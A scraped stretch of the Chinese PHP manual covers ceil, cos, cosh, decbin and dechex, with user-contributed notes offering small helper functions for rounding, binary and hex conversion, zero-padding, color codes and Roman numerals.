Useage would be as so.

$bigger_number=10;
$smaller_number=2;
if(check_divisible($bigger_number, $smaller_number)) {
 echo "$bigger_number is divisible by $smaller_number!";
} else {
 echo "$bigger_number is NOT divisible by $smaller_number!";
}

It's possible uses would be for:

Every 3rd, fourth, fifth, or whatever row in a table could be treated uniquely

Simple games...

Teaching your little kid math.
ermolaeva_elena at mail dot ru
20-Dec-2005 11:27
To round a number up to the nearest power of 10,
I've used
= ceil(intval($val)/10)*10;
nobody
23-Nov-2005 01:00
Here's a more simple one to do ceil to nearest 10:

function ceilpow10(val) {
   if (val % 10 == 0) return val;
   return val + (10 - (val % 10));
}
schmad at miller dash group dot net
19-Apr-2005 12:38
To round a number up to the nearest power of 10 use this simple procedure:

$multiplier = .1;
while($number>1)
{
   $number /= 10;
   $multiplier *= 10;
}
$number = ceil($number) * $multiplier;
coxswain at navaldomination dot com
17-Mar-2005 06:06
steve_phpnet // nanovox \\ com wouldn't:

<?php
$ceil  = ceil(4.67 * 10) / 10;
?>

work just as well?
steve_phpnet // nanovox \\ com
01-Mar-2005 04:40
I couldn't find any functions to do what ceiling does while still leaving I specified number of decimal places, so I wrote a couple functions myself.  round_up is like ceil but allows you to specify a number of decimal places.  round_out does the same, but rounds away from zero.

<?php
 // round_up:
 // rounds up a float to a specified number of decimal places
 // (basically acts like ceil() but allows for decimal places)
 function round_up ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ceil($value * $mult) / $mult;
 }

 // round_out:
 // rounds a float away from zero to a specified number of decimal places
 function round_out ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ($value >= 0 ? ceil($value * $mult):floor($value * $mult)) / $mult;
 }

 echo round_up (56.77001, 2); // displays 56.78
 echo round_up (-0.453001, 4); // displays -0.453
 echo round_out (56.77001, 2); // displays 56.78
 echo round_out (-0.453001, 4); // displays -0.4531
?>
sven at plus dot hr
10-Feb-2005 07:59
function roundaway($num) {
switch($num) {
case ($num > 0):
$n = ceil($num);
break;
case ($num < 0):
$n = floor($num);
break;
case ($num == 0):
$n = 0;
break;
}
return $n;
}
aaron at mind-design dot co dot uk
22-Jul-2004 04:10
Or for the terniary fans:

<?php

function roundaway($num) {
   return(($num > 0) ? ceil($num) : floor($num));
}

?>

Slightly pointless, but there you have it, in one line only..
rainfalling at yahoo dot com
22-Apr-2004 08:51
IceKarma said: "If you want, say, 2.6 to round to 3, and -2.6 to round to -3, you want round(), which rounds away from zero."

That's not always true. round() doesn't work that way, like zomis2k said it just rounds up _or_ down to the nearest non-decimal number. However this should work.

<?php

function roundaway($num) {
   if ($num > 0)
     return ceil($num);
   elseif ($num < 0)
     return floor($num);
   elseif ($num == 0)
     return 0;
}

?>
roger_dupere at hotmail dot com
10-Nov-2003 06:02
Here is a navbar using the ceil function.

<?php
 function navbar($num_rows,$page,$link) {
   $nbrlink = 10; /* Number of link to display per page */
   $page = (int) $page; /* Page now displayed */
   $num_rows = (int) $num_rows;

   if( $num_rows > 0 ) {
     $total_page = ceil( $num_rows / $nbrlink );

     for( $i=1;$i<$total_page+1;$i++ ) {
       if( $i == $page ) {
         $ret .= " <b>$i</b> ";
       } else {
         if( strstr( $link,"?" ) ) {
           $ret .= " <a href=\"$link&page=$i\">$i</a> ";
         } else {
           $ret .= " <a href=\"$link?page=$i\">$i</a> ";
         }
       }
     }

     return $ret;
   }
 }
  /* Let say that $num_rows content the numbre of rows of your sql query */
  $navbar = navbar( $num_rows, $page, "listmovie.php?id=$id" );

  if( $navbar != null || $navbar != "" ) {
   print( "<p><div align=\"center\">$navbar</div></p>" );
  }
?>
zomis2k at hotmail dot com
23-May-2003 02:24
>If you want, say, 2.6 to round to 3, and -2.6 to round to -3, you want round(), which rounds away from zero.

round() does not always round away from zero
round(2.4) = 2
round(2.6) = 3
round(-2.4) = -2
round(-2.6) = -3

round() rounds number to nearest non-decimal number.
IceKarma
22-Apr-2003 08:31
ceil() rounds towards positive infinity ("up"), floor() rounds towards negative infinity ("down").

If you want, say, 2.6 to round to 3, and -2.6 to round to -3, you want round(), which rounds away from zero.
clx at deim dot net
12-Jun-2002 04:55
<?php
echo ceil(2.6); // will output "3"
echo ceil(-2.6); // will output "-2"
?>
add a note add a note

后退 | 起点 | 前进
bindec | 上一级 | cos


cos

(PHP 3, PHP 4, PHP 5)

cos -- 余弦

说明

float cos ( float arg )

cos() 返回参数 arg 的余弦值。参数 arg 的单位为弧度。

例子 1. cos()

<?php

echo cos(M_PI); // -1

?>

参见：
acos()、
sin()、
tan() 和
deg2rad()。

add a note add a note User Contributed Notes
felipensp at gmail dot com
12-Mar-2006 09:29
Convert degree to radianus, radianus to cos.

<?php

   // Degree
   $degree = 360;

   // Convertion
   print cos(deg2rad($degree));

?>
add a note add a note

后退 | 起点 | 前进
ceil | 上一级 | cosh


cosh

(PHP 4 >= 4.1.0, PHP 5)

cosh -- 双曲余弦

说明

float cosh ( float arg )

返回 arg 的双曲余弦值，定义为 (exp(arg) + exp(-arg))/2。

参见：
cos()、
acosh()、
sin()和
tan()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cos | 上一级 | decbin


decbin

(PHP 3, PHP 4, PHP 5)

decbin -- 十进制转换为二进制

说明

string decbin ( int number )

返回一字符串，包含有给定 number 参数的二进制表示。所能转换的最大数值为十进制的 4294967295，其结果为 32 个 1 的字符串。

例子 1. decbin() 范例

<?php
echo decbin(12) . "\n";
echo decbin(26);
?>

上例将输出：

1100
11010

参见 bindec()，decoct()，dechex() 和 base_convert()。

add a note add a note User Contributed Notes
Xavier Daull
04-Feb-2006 06:57
A fast function to convert a binary string to a bit sequence

<?php

function BinString2BitSequence($mystring) {
   $mybitseq = "";
   $end = strlen($mystring);
   for($i = 0 ; $i < $end; $i++){
       $mybyte = decbin(ord($mystring[$i])); // convert char to bit string
       $mybitseq .= substr("00000000",0,8 - strlen($mybyte)) . $mybyte; // 8 bit packed
   }
   return $mybitseq;
}

echo BinString2BitSequence("ABCDEF"); // OUTPUT=010000010100001001000011010001000100010101000110

?>
06-Jan-2006 10:29
Just an example:
If you convert 26 to bin you'll get 11010, which is 5 chars long. If you need the full 8-bit value use this:

$bin = decbin(26);
$bin = substr("00000000",0,8 - strlen($bin)) . $bin;

This will convert 11010 to 00011010.
j dot preece at gmail dot com
03-Jan-2006 09:00
It occured to me there must be a simple way to produce binary numbers from decimal ones with any number of bits, here's my attempt at a decimal to extended binary function. I hope the comments make it clear:

<?php

function decextbin($decimalnumber,$bit)
{
   /* decextbin function
           by James Preece (j.preece@gmail.com)
           http://www.lovingit.co.uk

   Please feel free to use this function. If you find
   if useful I would love to hear from you.
   */

   /* Function to return a binary number with as many
   bits as are requested...

   This works on the following principal. A binary number
   represents a figure 2,4,8,16 etc. If we work from the
   top down we can determine if a number contains each figure
   as a fraction and then work with what remains.

   For example, if we wish to display the number 10 as a 4 bit
   number we first discover the figure of the maximum bit by doubling
   four times:

   1 2 4 8

   The maxiumum figure is 8.

   Next we work down the figures:

   8 goes in to 10 so the first digit is 1 leaving 2
   4 does not go in to 2 so the second digit is 0
   2 goes in to 2 so the third digit is 1
   1 does not go in to 0 so the fourth digit is 0

   Output: 1010

   Now for the actual code!

   First we find that maximum value represented by the
   leftmost binary digit. For error checking purposes
   we also calulate the maximum number we can display
   using the number of bits requested:        */

   $maxval = 1;
   $sumval = 1;
   for($i=1;$i<$bit;$i++)
   {
       $maxval = $maxval * 2;
       $sumval = $sumval + $maxval;
   }

   /* Using our sumval we now check if it is possible
   to display the decimal number our function received: */

   if ($sumval < $decimalnumber) return 'ERROR - Not enough bits to display this figure in binary.';

   /* Then we work down through the figures, to get a
   better idea of how this works remove the commenting
   from the echo lines */

   for($bitvalue=$maxval;$bitvalue>=1;$bitvalue=$bitvalue/2)
   {
           //echo 'Bit Value: '.$bitvalue.'<br />';
           //echo 'Decimal Number: '.$decimalnumber.'<br />';

       if (($decimalnumber/$bitvalue) >= 1) $thisbit = 1; else $thisbit = 0;

           //echo 'This Bit: '.$thisbit.'<br /><br />';

       if ($thisbit == 1) $decimalnumber = $decimalnumber - $bitvalue;

   $binarynumber .= $thisbit;
   }

   /* Finally we return the output... */

return $binarynumber;
}

?>

An example usage might be like so:

<?php

for ($i = 0;$i<=8;$i++)
{
   echo decextbin($i,4).'<br />';
}

?>

Output:

0000
0001
0010
0011
0100
0101
0110
0111
1000

No need for padding or anything - also goes way over 32 bits. Huzzah. I suspect its limited by the maximum string length in php. Hmmm - Not sure what that is.
dcramer at gmail dot com
27-Apr-2005 07:57
matt at nexxmedia dot com (06-Dec-2002 04:29) said:
<?php
...
strrev(str_pad(decbin($decval),8,"0",STR_PAD_LEFT));
...
?>

<?php
str_pad(decbin ($decval),8,'0');
?>

produces the same results!
--
That's incorrect, it does not produce the same results.
Stefan
03-Mar-2005 03:35
matt at nexxmedia dot com (06-Dec-2002 04:29) said:
<?php
...
strrev(str_pad(decbin($decval),8,"0",STR_PAD_LEFT));
...
?>

<?php
str_pad(decbin ($decval),8,'0');
?>

produces the same results!
08-Feb-2005 11:27
base_convert( base_convert('100001000100000000010001001000
0100100000001111111111111111111',2,10),10,2);

return
'1000010001000000000100010010000
100100000010000000000000000000'

this function doesn't work
27-Nov-2004 11:26
<?php // function for converting values >= 2147483648 (2^16)
  function decbin4long($long) {
   return base_convert($long,10,2);
  } // idea from http://phpclub.ru/talk/showthread.php?postid=407488
?>
gene_wood at example dot com
15-Oct-2003 05:38
This is just an extension off of the first comment. This is a pair of function to convert from an array of binary values to an integer and vice versa. It has a touch of error checking.

/**
* Will convert an array of binary values into an integer for storage
*
* @param        array      $data_array    Array of 31 or less binary values
* @return      integer                    Encoded integer
*/
function array_to_binary_int($data_array) {
   if (count($data_array) > 31) return FALSE;
   foreach ($data_array as $key => $value) {
       if ($value) $data_array[$key] = 1;
       if (!$value) $data_array[$key] = 0;
   }
   $binstring = strrev(implode('', $data_array));
   $bit_integer = bindec($binstring);
   return $bit_integer;
}

/**
* Will convert a stored integer into an array of binary values
*
* @param        integer      $data_integer    Encoded integer
* @return      integer                        Array of binary values
*/
function binary_int_to_array($data_integer) {
   if (($data_integer > 2147483647) OR ($data_integer < 0)) return FALSE;
   $binstring = strrev(str_pad(decbin ($data_integer),31,"0",STR_PAD_LEFT));
   $bitarray = explode(":",chunk_split($binstring, 1, ":"));
   return $bitarray;
}
matt at nexxmedia dot com
06-Dec-2002 10:29
A quick one-line bitmask. Great for storing a list of checkbox settings in a MySQL database. This one works for TinyINT (8 bits). Note: I had to make it two lines here so it would fit.

$decval = 83;

/*
decimal to binary, padded with 0s, reversed so the least significant digit is first, split with colons, and then separated into an array
*/

$binstring = strrev(str_pad(decbin ($decval),8,"0",STR_PAD_LEFT))
$bitarray = explode(":",chunk_split($binstring, 1, ":"));

for($x = 0; $x < 8; $x++) {
 echo $bitarray[$x]." ";
}

// will output 1 1 0 0 1 0 1 0
php at silisoftware dot com
01-Mar-2002 11:15
Another larger-than-31-bit function.
Works for very large numbers, but at the expense of perfect bit-precision as the size increases (I noticed rounding errors past 16 or so decimal places) so use with caution, and only when decbin() won't cut it.

function Dec2Bin($number) {
   while ($number >= 256) {
       $bytes[] = (($number / 256) - (floor($number / 256))) * 256;
       $number = floor($number / 256);
   }
   $bytes[] = $number;
   for ($i=0;$i<count($bytes);$i++) {
       $binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, "0", STR_PAD_LEFT)).$binstring;
   }
   return $binstring;
}
gthompsn at ucar dot edu
23-Jan-2002 03:04
To pad leading zeroes onto the output of decbin, I prefer to use something like this for my 8-bit integer:
 $qcStr=sprintf("%08d",decbin($myInt));

--Greg T.
ajl at gmx dot de
09-Oct-2001 04:47
HERE you can convert 64bit instead of 32bit with the standard decbin
<?
function bigdecbin($dec,$doublewords=1) {
   $erg = "";
   do {
         $rest = $dec%2147483648;
         if ($rest<0) $rest+=2147483648;
         $erg = str_pad(decbin($rest),31,"0",STR_PAD_LEFT).$erg;
         $dec = ($dec-$rest)/2147483648;
     } while (($dec>0)&&(!($dec<1)));

     return str_pad($erg,$doublewords*31,"0",STR_PAD_LEFT);
}

echo "<pre>";
for ($i=1.5*2147483647.0-10;$i<1.5*2147483647.0+10;$i++) {
   echo "DEC:".$i." BIN:".bigdecbin($i,2)."<br>";
}
echo "</pre>";
?>
sam at barnum dot com
13-Apr-2001 10:26
or pad the string like:
   substr("000" . $decbin($i), -3, 3);
nospam dot me at padamj dot com
11-Mar-2001 09:56
do this to pad the binary:

str_pad(decbin($dec),3,"0",STR_PAD_LEFT);

output like:
001
010
oubiwann at yahoo dot com
17-Jan-2001 08:04
Here's a little binary for counting on your fingers up to 1023 (from 0). It formats/pads the binary number like you wanted.
<pre>
&lt;?php
print "<pre>Dec  : Finger Positions\n";
print "---- : ----------------\n";
for ( $i=0; strlen($bin) <=10; ++$i ) {
   $bin = decbin($i);
   $output = sprintf("%04d : ", $i);
   $bin_temp = $bin;
   while ( strlen($bin_temp) < 10 ) {
     $bin_temp = "0" . $bin_temp;
   }
   print $output . $bin_temp . "\n";
}
print "</pre>\n";
?>
</pre>

I tried using sprintf("%04d : %10d", $i, $bin) and sprintf("%04d : %10d", $i, $bin + 0), the later an attempt to force the string to act as a number, but neither worked. Maybe it was me...
sterba at locksley-west dot com
10-Jan-2001 04:55
I had the same problem on PHP 3.0.9, so the str_repeat was not an option. This maight help:

while (strlen($result)<3) $result="0".$result;
add a note add a note

后退 | 起点 | 前进
cosh | 上一级 | dechex


dechex

(PHP 3, PHP 4, PHP 5)

dechex -- 十进制转换为十六进制

说明

string dechex ( int number )

返回一字符串，包含有给定 number 参数的十六进制表示。所能转换的最大数值为十进制的 4294967295，其结果为 "ffffffff"。

例子 1. dechex() 范例

<?php
echo dechex(10) . "\n";
echo dechex(47);
?>

上例将输出：

a
2f

参见 hexdec()，decbin()，decoct() 和 base_convert().。

add a note add a note User Contributed Notes
Mista-NiceGuy at web dot de
28-Dec-2005 09:00
These are functions to convert roman numbers (e.g. MXC) into dec and vice versa.
Note: romdec() does not check whether a string is really roman or not. To force a user-input into a real roman number use decrom(romdec($input)). This will turn XXXX into XL for example.

<?php
   function decrom($dec){
       $digits=array(
           1 => "I",
           4 => "IV",
           5 => "V",
           9 => "IX",
           10 => "X",
           40 => "XL",
           50 => "L",
           90 => "XC",
           100 => "C",
           400 => "CD",
           500 => "D",
           900 => "CM",
           1000 => "M"
       );
       krsort($digits);
       $retval="";
       foreach($digits as $key => $value){
           while($dec>=$key){
               $dec-=$key;
               $retval.=$value;
           }
       }
       return $retval;
   }

   function romdec($rom){
       $digits=array(
           "I" => 1,
           "V" => 5,
           "X" => 10,
           "L" => 50,
           "C" => 100,
           "D" => 500,
           "M" => 1000
       );
       $retval="";
       $chars=array();
       for($i=1;$i<=strlen($rom);$i++){
           $chars[]=substr($rom,$i-1,1);
       }
       $step=1;
       for($i=count($chars)-1;$i>=0;$i--){
           if(!isset($digits[$chars[$i]])){ return "Error!"; }
           if($step<=$digits[$chars[$i]]){
               $step=$digits[$chars[$i]];
               $retval+=$digits[$chars[$i]];
           }
           else{
               $retval-=$digits[$chars[$i]];
           }
       }
       return $retval;
   }

   echo decrom(romdec("XXXX"));
?>
cory at lavacube dot com
28-Oct-2005 07:45
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
   // put values into an easy-to-use array
   $vals['r'] = hexdec( substr($in, 0, 2) );
   $vals['g'] = hexdec( substr($in, 2, 2) );
   $vals['b'] = hexdec( substr($in, 4, 2) );

   // loop through
   foreach( $vals as $val )
   {
       // convert value
       $val = ( round($val/51) * 51 );
       // convert to HEX
       $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
   }

   return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
geoffrey at nevra dot net
31-Aug-2005 04:13
As a sum up of some notes already posted here, my own strhex() function:

<?php

function strhex($string) {

   $hex = '';
   $len = strlen($string);

   for ($i = 0; $i < $len; $i++) {

       $hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);

   }

   return $hex;

}

?>
pinto at serepensar dot com
02-Aug-2005 02:40
And another built-in function

str_pad($value, 2, '0', STR_PAD_LEFT);

:)
michael at m-ganzer dot de
18-Jul-2005 09:58
simple, non-recursive way of zerofilling (why making everything complicated, there r more than enough inbuilt functions)

function zfill($n,$a) {
  return str_repeat("0",max(0,$a-strlen($n))).$n;
}

"max(0,..." as multiplier inside of "str-repeat" is preventing an error with negative values, if the string length was already higher than the accuracy parameter for zfill.

have fun! :)
trance4rm
18-Jul-2005 04:08
a bugfix for admin AT bobfrank DOT org' s post

The original was:
<?php
function zeropad($num, $lim)
{
   return (strlen($num) >= $lim) ? $num : zeropad("0" . $num);
}
?>

I couldn't get it to work, kept getting a "Missing argument 2 for zeropad()" error, even though I called the function with both arguments -- then I noticed the recursive part, and the missing $lim argument.  The code that works is:

<?php
function zeropad($num, $lim)
{
   return (strlen($num) >= $lim) ? $num : zeropad("0" . $num, $lim);    // $lim was missing from the recursive call

// the function will prefix $num with a zero and recursively call itself
// each recursive call, $num gets one digit bigger until strlen of $num  equals $lim
}
?>
oliver at realtsp dot com
14-Jun-2005 04:46
Warning for use on 64 bit machines! The Extra length matters!

32bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

64bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

so far it is ok. But for slightly bigger numbers:

32bit machine:
php -r 'echo dechex(4294967296);'
output: 0

64bit machine:
php -r 'echo dechex(4294967296);'
output: 100000000

note the difference!

This is particularly important when converting negative numbers:

64bit machine:
php -r 'echo dechex(-1);'
output: ffffffffffffffff

32bit machine:
php -r 'echo dechex(-1);'
output: ffffffff

If you want your code to be portable to amd64 or xeons (which are now quite popular with hosting companies) then you must ensure that your code copes with the different length of the result for negative numbers (and the max value, although that is probably less critical).
jrisken at mn dot rr dot com
29-May-2005 10:33
A less elegant but (perhaps) faster way to pad is with substr with a negative length argument. I use it in this tiny function which formats computed rgb color codes for style sheets:
<?
function toColor($n)
{
return("#".substr("000000".dechex($n),-6));
}
?>
admin AT bobfrank DOT org
02-May-2005 10:28
Here is a very small zeropadding that you can use for numbers:

function zeropad($num, $lim)
{
   return (strlen($num) >= $lim) ? $num : zeropad("0" . $num);
}

zeropad("234",6);

will produce:
000234

zeropad("234",1);

will produce:
234
matt dot smith at email dot ky
22-Apr-2005 12:14
It took me hours, but I've finally figured it all out...

--
To figure up how many lines it'll take to get from,
0000 to FFFF, use this formula:
((hex_length / 2) * 255) + 1

For 0000 to FFFF, this would be: ((4 / 2) * 255) + 1 = 511
For 0000000000 to FFFFFFFFFF, this would be: ((10 / 2) * 255) + 1 = 1276

--
To figure up how many possibilities a certain hex length will give (such as that of an MD5 hash, for example), use this formula:
256^(hex_length / 2)

Like so:
hex = 0123ABCDEF
hex_length = 10
possibilities = 256^(10 / 2)
possibilities = 256^5
possibilities = 1,099,511,627,776

--
And I don't know how useful this next part is, but it's quite nifty. Just set $length to be your hex_length and it'll display all "incrementally-possible" hexadecimals, along with line numbers:

<?php
$length = 10; // Change this to the total length of your hexadecimal

function array_check($array1, $array2)
{
   $count1 = count($array1);
   $count2 = count($array2);

   if ($count1 != $count2)
       return FALSE;

   $match = 0;
   for ($i = 0; $i < $count1; $i++)
       if ($array1[$i] == $array2[$i])
           $match++;

   if ($match != $count1)
       return FALSE;

   return TRUE;
}

function zeropad($num)
{
   return (strlen($num) == 1) ? '0'.$num : $num;
}

function zeropad_lineno($num, $length)
{
   while (strlen($num) < $length)
       $num = '0'.$num;

   return $num;
}

$hexadecimals = $length / 2;
$possibilities = /*number_format(*/ pow(256, $hexadecimals) /*)*/;

echo "A hexadecimal of this length ({$length}) has {$possibilities} possibilities.<br>\n";
echo "<br>\n";

//init
for ($i = 0; $i < $hexadecimals; $i++)
{
   $x[] = '00';
   $xint[] = 0;

   $end[] = 'ff';
}

$line = 0;
while ( !(array_check($x, $end)) ) // while we're not currently at the end (FF..)
{
   $hexstr = '';
   for ($i = 0; $i < $hexadecimals; $i++)
   {
       $x[$i] = dechex($xint[$i]);
       $hexstr .= zeropad(dechex($xint[$i]));
   }

   $line++;
   $linestr = zeropad_lineno($line, 8);
   echo "<code>{$linestr}: {$hexstr}</code><br>\n";

   // hex increment
   for ($i = ($hexadecimals - 1); $i >= 0; $i--)
   {
       // increment bit if possible
       if ($xint[$i] != 255)
       {
           // increment bit and then break out of the for loop
           $xint[$i]++;
           break;
       }
   }
}
?>
manithu
30-Mar-2005 04:18
If you want to fade some text from one color to another, use this function:

<?php

function colorFade($text, $color1, $color2, $HTMLelement = 'span')
{
   //remove leading and trailing whitespaces.
   $text = trim($text);

   //split the characters of the text to an array.
   $char = array();
   for ($i = 0; $i < strlen($text); $i++) {
       $char[$i] = substr($text, $i, 1);
   }
   //convert the hexadecimal colors in decimal.
   $decimalColor = array();
   //first color
   $decimalColor[0] = hexdec(substr($color1, 0, 2));
   $decimalColor[1] = hexdec(substr($color1, 2, 2));
   $decimalColor[2] = hexdec(substr($color1, 4, 2));
   //second color
   $decimalColor[3] = hexdec(substr($color2, 0, 2));
   $decimalColor[4] = hexdec(substr($color2, 2, 2));
   $decimalColor[5] = hexdec(substr($color2, 4, 2));

   //formated chars are stored here (the key 0 is for the first
   //char and must not be removed).
   $newText = array(0 => null);
   //run over every character except the first and the last,
   //they will be added later.
   for ($i = 2; $i <= strlen($text)-1; $i++) {
       //check if the character is only a whitespace. If yes,
       //save the whitespace without adding color and proceed
       //to the next character.
       if (!trim($char[$i-1])) {
           $newText[] = $char[$i-1];
           continue;
       }
       //calculate the (hex) color for this character.
       $color = array();
       //red
       $color[] = dechex(($decimalColor[0] - $decimalColor[3])
                   / strlen($text) * $i + $decimalColor[3]);
       //green
       $color[] = dechex(($decimalColor[1] - $decimalColor[4])
                   / strlen($text) * $i + $decimalColor[4]);
       //blue
       $color[] = dechex(($decimalColor[2] - $decimalColor[5])
                   / strlen($text) * $i + $decimalColor[5]);

       //check if every color part is 2 chars long, if not, repeat it.
       foreach ($color as $k => $v) {
           if (strlen($v) < 2) {
               $color[$k] = str_repeat($v, 2);
           }
       }
       //merge the parts to the full hex color.
       $color = implode($color, '');

       //Save the formated char.
       $newText[] = '<'.$HTMLelement.' style="color:#'.$color.'">'.
                     $char[$i-1].'</'.$HTMLelement.'>';
   }
   //add first char.
   $newText[0] = '<'.$HTMLelement.' style="color:#'.$color2.'">'.
                 $char[0].'</'.$HTMLelement.'>';
   //add last char.
   $newText[]  = '<'.$HTMLelement.' style="color:#'.$color1.'">'.
                 $char[strlen($text)-1].'</'.$HTMLelement.'>';

   //merge the characters and return it.
   return implode($newText, '');
}

?>

$color1 is the start color, $color2 the end color.

I hope this helps somebody.
morten at nilsen dot com
02-Jan-2005 08:30
I see a lot of less-than-optimal functions posted on this page, so I feel I have to give some better examples...
due to the sheer size of this collection, I have made it available on my server, rather than copy/paste it into these comments.

http://ryo-ohki.4th-age.com/demos/able.php
and
http://ryo-ohki.4th-age.com/demos/able.phps

dechex replacement function from above source:
<?php
  define('BIT_BYTE', 8); // bits per byte
  define('HEX_BYTE', BIT_BYTE/4); // hex digits in a byte

  define('BIT_INT',  32); // sizeof(int)
  define('HEX_INT',  BIT_INT / (BIT_BYTE/HEX_BYTE)); // hex digits in an int

  function i2h($int, $group=HEX_BYTE, $size=HEX_INT, $sep=' ') {
   $ret = '';
   while($size--) {
     $n=($int>>($size*4)) & 0xf;
     $ret .= $n>9?chr(55 + $n):$n;
     if($size && $size%$group == 0) $ret .= $sep;
   }
   return $ret;
  }

  echo i2h(rand(1,2)==1?-mt_rand():mt_rand());
?>
wangster at darkcore dot net
15-Dec-2004 03:36
This function will take a string and convert it into a hexdump.

e.g.

3c666f6e 74207369 7a653d22 33223e4c  <font.size."3">L
6561726e 20686f77 20746f20 62652061  earn.how.to.be.a

function hexdump($string) {
   $hex="";
   $substr = "";
   for ($i=0; $i < strlen($string) ;$i++) {
     if(!($i % 4) && $i != 0) {
       $hex .= " ";
     }
     if(!($i % 16) && $i != 0) {
       $clean = preg_replace("/[^a-zA-Z0-9!-.<>\/]/",".",$substr);
       $hex .= " ".htmlentities($clean)."\n";
       $substr = "";
     }
     $substr .=  $string[$i];
     $hex .= dechex(ord($string[$i]));
   }
   return $hex;
}
12-Dec-2004 11:31
If you need to generate random HEX-color, use this:
<?php
function random_hex_color(){
   return sprintf("%02X%02X%02X", mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
}
$hex = random_hex_color(); // 09B826
?>

Enjoy.
12-Dec-2004 05:30
If you need to convert RGB-color into HEX-color, use this:
<?php
function rgb2hex($rgb){
   return sprintf("%06X", $rgb);
}
$hex = rgb2hex(65280); // 00FF00
?>
Ruben Barkow ( at web dot de)
24-May-2004 02:46
this function generates an hex-colorcode out of a string.
usefull if you want to show a list of words all in different colors, that should remain its color even if the order changes.
(if the string is empty, it gives back a random color)

function word2color($w){
if (strlen($w)==0) return substr('00000' . dechex(mt_rand(0, 0xffffff)), -6);
while (strlen($w)<6) $w.=$w;
$minbrightness=1;  // range from 0 to 15, if this is 0 then for ex. black is allowed
$max_brightness=14; // range from 0 to 15, if this is 15 then for ex. white is allowed
$plus_red=0;    // set one of these to set the probability of one of these colors higher
$plus_green=0;
$plus_blue=0;
for ($i=0; $i<6; $i++) {
   #$r.= '">';// this is a depug mode, to see the color written
   $plus=0;
   if ($plus_red<>0 and $i==0) $plus=$plus_red;
   if ($plus_green<>0 and $i==2) $plus=$plus_green;
   if ($plus_blue<>0 and $i==4) $plus=$plus_blue;
   $c=$w[round(strlen($w)/6*$i)];
   $dec=ord($c)%($max_brightness+$plus-$minbrightness) +$minbrightness+$plus;
   if ($dec>$max_brightness-$minbrightness) $dec=$max_brightness-$minbrightness;
   $r.= strtoupper( dechex($dec) );
}
return $r;
}
admin[TAKETHISOUT] at torsoft dot no-ip dot com
22-Apr-2004 03:01
<?php
/*
here are two functions, some might find them useful (maybe for encoding)
converting string to hex and hex to string:
*/

function strhex($string)
{
   $hex="";
   for ($i=0;$i<strlen($string);$i++)
       $hex.=(strlen(dechex(ord($string[$i])))<2)? "0".dechex(ord($string[$i])): dechex(ord($string[$i]));
   return $hex;
}
function hexstr($hex)
{
   $string="";
   for ($i=0;$i<strlen($hex)-1;$i+=2)
       $string.=chr(hexdec($hex[$i].$hex[$i+1]));
   return $string;
}
?>
daevid at daevid dot com
19-Mar-2004 06:59
Here's my version of a red->yellow->green gradient:

<?php
function colorMeter($percent, $invert = false)
{
   //$percent is in the range 0.0 <= percent <= 1.0
   //    integers are assumed to be 0% - 100%
             // and are converted to a float 0.0 - 1.0
   //    0.0 = red, 0.5 = yellow, 1.0 = green
   //$invert will make the color scale reversed
   //    0.0 = green, 0.5 = yellow, 1.0 = red

   //convert (int)% values to (float)
   if (is_int($percent)) $percent = $percent * 0.01;

   $R = min((2.0 * (1.0-$percent)), 1.0) * 255.0;
   $G = min((2.0 * $percent), 1.0) * 255.0;
   $B = 0.0;

   return (($invert) ?
sprintf("%02X%02X%02X",$G,$R,$B)
: sprintf("%02X%02X%02X",$R,$G,$B));
} //colorMeter
?>

and use it like this:

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0.0; $i <= 1.0; $i += 0.10)
{
   $RGB = colorMeter($i);
   print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>

<P>

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0; $i <= 100; $i += 10)
{
   $RGB = colorMeter(intval($i), true);
   print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>
thr at recide dot net
10-Feb-2004 08:39
/*
* RGB-Colorcodes(i.e: 255 0 255) to HEX-Colorcodes (i.e: FF00FF)
*/
function rgb2hex($rgb){
   if(!is_array($rgb) || count($rgb) != 3){
       echo "Argument must be an array with 3 integer elements";
       return false;
   }
   for($i=0;$i<count($rgb);$i++){
       if(strlen($hex[$i] = dechex($rgb[$i])) == 1){
           $hex[$i] = "0".$hex[$i];
       }
   }
   return $hex;
}
/* Example */
print_r(rgb2hex(array(10,255,255)));
mina86 at tlen dot pl
06-Feb-2004 01:05
Easiest :P way to create random hex color:

<?php
function rand_color() {
   return substr('00000' . dechex(mt_rand(0, 0xffffff)), -6);
}
?>
paeppi at actionorg dot de
30-Dec-2003 02:53
Easier way to create random hex color:

<?php

function rand_color() {
   $hexcolor = dechex(mt_rand(0,16777215));

   while (strlen($hexcolor) < 6) {
       $hexcolor = $hexcolor."0";
   }
   return $hexcolor;
}

echo "#".rand_color();
?>
huda m elmatsani <justhuda at netscape dot net>
17-Sep-2003 06:36
Create Random Hex Color:

function make_seed() {
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((double) $usec * 100000);
}

function rand_hex() {
   mt_srand(make_seed());
   $randval = mt_rand(0,255);
   //convert to hex
   return sprintf("%02X",$randval);
}

function random_color(){
   return "#".rand_hex().rand_hex().rand_hex();
}

hme ;)
paeppi at actionorg dot de
04-Aug-2003 10:42
# One example how to convert a decimal number into any other system (here 32 digits -- 0 to v) and how to convert back.
# Just replace the "32" in my functions with the number of digits in "your" system, and continue the replace-lists.
# This is surely not the very best way to do this, but it hopefully helps :-)

function decttw($int_dec) {
   $s = $int_dec;
   while ($i < 19) {
       $exp = pow(32,18 - $i);
       $modulo = fmod($s,$exp);
